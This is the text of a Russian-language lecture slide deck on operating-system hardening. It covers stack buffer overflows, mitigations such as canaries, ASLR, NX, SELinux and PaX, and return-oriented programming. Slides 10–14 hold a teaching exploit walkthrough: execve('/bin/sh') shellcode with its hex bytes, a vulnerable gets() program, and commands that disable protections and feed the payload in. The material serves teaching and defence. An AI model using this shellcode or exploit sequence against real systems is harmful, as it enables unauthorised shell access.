Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Operating Systems Hardening

624 views

Published on

Published in: Education
  • Be the first to comment

  • Be the first to like this

Operating Systems Hardening

  1. 1. Opera&ng  Systems  Hardening   Sartakov  A.  Vasily   ksys  labs   Summer  Systems  School’13  
  2. 2. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  3. 3. Intro   •  Morris  Worm  (November  1988)   –  Первый  известный  эксплоит  использовавший  срыв   стека        –  execve(“/bin/sh”,  0,  0)   •  Thomas  Lopa&c  опубликовал  эксплоит  NCSA  HTTPD     (1995)     •  “Smashing  the  Stack  for  Fun  and  Profit”  Aleph  One  (August   1996)     •  Unix  
  4. 4. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  5. 5. Срыв  стека   •  Подготовка  кода  (payload)   •  Изменение  последовательности  выполнения   программы  
  6. 6. Подготовка  кода   •  Передается  в  качестве  аргументов,  команд,   обрабатываемых  данных   •  Эти  данные  должны  сохраняться  в   выделенные  для  них  буфера   •  Принципиальной  разницы  нет  –  статический   это  буфер  или  динамический   •  Отсутствие  проверки  длины  данных  приводит   к  перезаписи  данных  за  границей  буфера.    
  7. 7. Искажение  адреса  возврата   int  namelen  (void)  {    char  name[21];    gets(name);    return  strlen(name);   }   name[0]   name[1]   ….   Адрес  возврата   0xFFFF   0x0   массив   Стек  
  8. 8. Искажение  указателя  функции   void  dummy(void)  {    prinˆ("Hello  world!  n");   }     int  main(int  argc,  char  **argv)  {    void  (*dummyptr)();    char  buffer[100];    dummyptr=dummy;    strcpy(buffer,  argv[1]);  //  Уязвимость    (*dummyptr)();   }   buffer[0]   buffer[1]   ….   dummyptr   Адрес  возврата   0xFFFF   0x0   массив   Стек  
  9. 9. Искажение  указателей  данных   foo(char  *  arg)  {    char  *  p  =  arg;  //  уязвимый  указатель    char  a[40];  //  переполняемый  буфер    gets(a);  //  уязвимость    gets(p);  //  искажение  кода   }   a[0]   a[1]   ….   p   arg   0xFFFF   0x0   массив   Стек   Адрес  возврата  
  10. 10. Example  1   cat  >  launch.c  <<  "EOF"   int  main(int  argc,  char  **argv)  {      asm("   needle0:  jmp  theren   here:  pop  %rdin   xor  %rax,  %raxn   movb  $0x3b,  %aln   xor  %rsi,  %rsin   xor  %rdx,  %rdxn   syscalln   there:  call  heren   .string  "/bin/sh"n   needle1:  .octa  0xdeadbeefn      ");   }   EOF   gcc  -­‐o  launch  launch.c   h™p://crypto.stanford.edu/~blynn/rop/  
  11. 11. Shellcode   addr=0x`objdump  -­‐d  launch  |  grep  needle0  |  cut  -­‐d    -­‐f1`   addr=$((addr-­‐0x400000))   echo  ...shellcode  starts  at  offset  $addr   xxd  -­‐s$addr  -­‐l32  -­‐p  launch  >  shellcode   eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef  
  12. 12. vic&m   cat  >  vic&m.c  <<  "EOF"   #include  <stdio.h>   int  main()  {      char  name[64];      prinˆ("%pn",  name);    //  Print  address  of  buffer.      puts("What's  your  name?");      gets(name);      prinˆ("Hello,  %s!n",  name);      return  0;   }   EOF  
  13. 13. Compiling   gcc  -­‐fno-­‐stack-­‐protector  -­‐o  vic&m  vic&m.c     execstack  -­‐s  vic&m  //  disabling  executable  space  protec&on…     addr=$(echo  |  setarch  $(arch)  -­‐R  ./vic&m  |  sed  1q)  //finding  buffer  address…     a=`prinˆ  %016x  $addr  |  tac  -­‐rs..`    //exploi&ng  vic&m...    
  14. 14. A™ack   (  (  cat  shellcode  ;  prinˆ  %080d  0  ;  echo  $a  )  |  xxd  -­‐r  -­‐p  ;  cat  )  |  setarch  `arch`  -­‐R  ./vic&m  
  15. 15. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  16. 16. Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Маркерные  значения  (Canaries)   •  Рандомизация  адресного   пространства  (ASLR)   •  NX  бит   •  Подсистемы  безопасности  Linux  
  17. 17. Маркерные  значения   a[0]   a[1]   ….   EBP   Canary   0xFFFF   0x0   массив   Стек   Адрес  возврата  
  18. 18. Address  Space  Layout   Randomiza&on   Name[0]   0x7f..ff   Первый  запуск     char  name[64];      prinˆ("%pn",  name);        puts("What's  your  name?");      gets(name);      prinˆ("Hello,  %s!n",  name);   7cb7ba740   Name[0]   Второй    запуск   ef5415a90  
  19. 19. Эмуляция  NX  bit   Код   Данные   Стек   Код   Исполняемый  неисполняемый   Лимит  сегмента  
  20. 20. NX/XD  bit:  Data  Execu&on   Preven&on(DEP)   •  Physical  Address  Extension  (PAE)   •  Может  защищать  не  только  весь  процесс   целиком,  но  и  его  отдельную  часть.  
  21. 21. Подсистемы  безопасности  Linux   •  SELinux   •  PaX/GrSecurity  
  22. 22. SELinux   •  Разрабатывался  под  контролем  Na&onal   Security  Agency  (NSA)   •  Исходный  код  был  опубликован  в  декабря   2000   •  Мандатный  контроль  доступа  на  основе   контроля  меток  безопасности  объектов  и   субъектов  ОС   •  Принудительная  типизация  доступа  (Type   Enforcement)  
  23. 23. Проект  LOCK   •  LOCK  (LOgical  Coprocessing  Kernel)   •  Secure  Compu&ng  Corpora&on  (SCC)   •  «A1»,Trusted  Compu&ng  System  Evalua&on  Criteria   (“Orange  Book”).   •  Принудительная  типизация  доступа   •  Наследие  -­‐  Sidewinder  Internet  Firewall  и  SELinux   •  Изначально  было  дополнением  2.2,  2.4   •  «Благодаря»  Торвальдсу  добавлено  в  ядро  в  качестве   отдельного  модуля.  Так  появился  Linux  Security  Modules   в  ядре  2.6  
  24. 24. Принудительная  типизация  доступа   •  Type  Enforcement   •  Технология  разграничения  доступа,  при  которой   права  на  доступ  субъекта  к  объекту  даются  в   зависимости  от  текущего  контекста  безопасности.   •  Контекст  безопасности  хранится  в  расширенных   атрибутах  файловой  системы  и  управляется  с   помощью  Linux  security  module  (LSM)   •  Принудительная  типизация  доступа  необходима  для   реализации  мандатного  контроля  доступа,   дополняет  ролевой  контроль  доступа  (Role  Based   Access  Control  —  RBAC).  
  25. 25. SELinux   •  Каждый  объект  или  субъект  в  операционной   системе,  защищенной  SELinux,  должен  иметь  свою   специальную  метку,  называемую  контекстом   безопасности.     •  Ext2-­‐>file-­‐>ext3   •  SELinux  предоставляет  пользователю  или   приложению  только  те  права  доступа,  которые   необходимы  для  осуществления  запрошенных   действий  
  26. 26. SELinux   •  Каждый  процесс-­‐субъект  запускается  в   определенном  контексте  (домене)  безопасности     •  Всем  ресурсам-­‐объектам  операционной  системы   ставится  в  соответствие  определенный  тип   •  Высокая  степень  разграничения  доступа  к  ресурсам   •  Составляет  политику  безопасности:  Список  правил,   определяющих  разрешения  на  доступ   определенных  доменов  к  определенным  типам.  
  27. 27. SELinux  
  28. 28. PaX/GRSecurity   •  Механизм  обеспечения  безопасного   исполнения  кода  PaX   •  Механизм  разграничения  доступа  на   основе  ролевой  политики  (RBAC)   •  Усиление  базового  механизма  chroot   •  Дополнительные  функции  и  механизмы   безопасности  
  29. 29. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  30. 30. Вопрос   Подвержена  ли  Гарвардская  архитектура   атакам  основанным  на  срыве  стека?    
  31. 31. Ответ   Атаки  построенные  на  срыве  стека  –  нет,  не   подвержена.  Но  подвержена  куда  более   серьезным  атакам  из  того  же  семейства.  
  32. 32. Return  oriented  programming   •  Return-­‐to-­‐libc  (ret2libc)     – Позволяет  атаковать  неисполнимую  память  (DEP,   W^X,  etc)     – Вместо  перезаписи  адреса  возврата,  осуществляется   выбор  специально  подобранных  двоичных  команд   из  библиотек  в  памяти,  как  вызовов  функций.   – При  этом  данные  в  стеке  используются  как   аргументы  к  этим  функциям   – Что  в  конечном  итоге  позволяет  сделать   system(cmd)  
  33. 33. Return  oriented  programming   •  Вместо  возврата  из  функций  с  измененным   стеком  происходит  вызов   последовательностей  инструкций,  которые   заканчиваются  инструкцией  ret.     •  Фактически  можно  обращаться  к   произвольному  региону,  прямо  в  середину   инструкции,  тем  самым  эмулируя  другой  тип   инструкций.     •  Фактически,  все  что  нужно  для  взлома  –  найти   необходимую  последовательность  инструкций   в  памяти  
  34. 34. Return  oriented  programming   •  Gadget  –  последовательность  подходящих   инструкций  заканчивающаяся  ret     •  Гаджеты  исполняют  произвольный   высокоуровневый  функционал     – Записать  данные  в  определенную  ячейку  памяти   –   add/sub/and/or/xor   – Вызвать  функцию  из  библиотеки  
  35. 35. Return  oriented  programming   •  Для  построения  RoP  атаки  необходимо   просканировать  исполнимые  регионы   библиотек  для  выявления  подходящих   инструкций   •  Полнота  по  Тьюрингу  при  поиске  гаджетов:   Homescu,  Andrei,  et  al.  "Microgadgets:  Size   Does  Ma™er  in  Turing-­‐Complete  Return-­‐ Oriented  Programming."  WOOT.  2012.  
  36. 36. Example  2   Return-­‐oriented  programming  on  64-­‐bit  Linux   Ben  Lynn   h™p://crypto.stanford.edu/~blynn/rop/  
  37. 37. Выводы:   1.  Маркерные  значения  +  рандомизация  +  NX  бит   не  защищают  на  100%,  но  сильно  усложняют   вторжение.     2.  Превентивные  средства  защиты  (PaX),  задача   которых  противодействовать  вторжению,   вместе  с  AC  (RBAC),  так  же  уменьшают  шансы   вторжения  и  минимизируют  последствия   3.  Защита  от  внедрения  вредоносного  кода  не   достаточна  для  предотвращения  исполнения   вредоносного  кода.    
  38. 38. Reading     •  h™p://crypto.stanford.edu/~blynn/rop/   •  Roemer,  Ryan,  et  al.  "Return-­‐oriented  programming:   Systems,  languages,  and  applica&ons."  ACM  Transac&ons   on  Informa&on  and  System  Security  (TISSEC)  15.1  (2012):  2.   •  Checkoway,  Stephen,  et  al.  "Can  DREs  provide  long-­‐las&ng   security?  The  case  of  return-­‐oriented  programming  and  the   AVC  Advantage."  Proceedings  of  EVT/WOTE  2009  (2009).   •  Shacham,  Hovav.  "The  geometry  of  innocent  flesh  on  the   bone:  Return-­‐into-­‐libc  without  func&on  calls  (on  the  x86)."   Proceedings  of  the  14th  ACM  conference  on  Computer  and   communicaCons  security.  ACM,  2007.  

×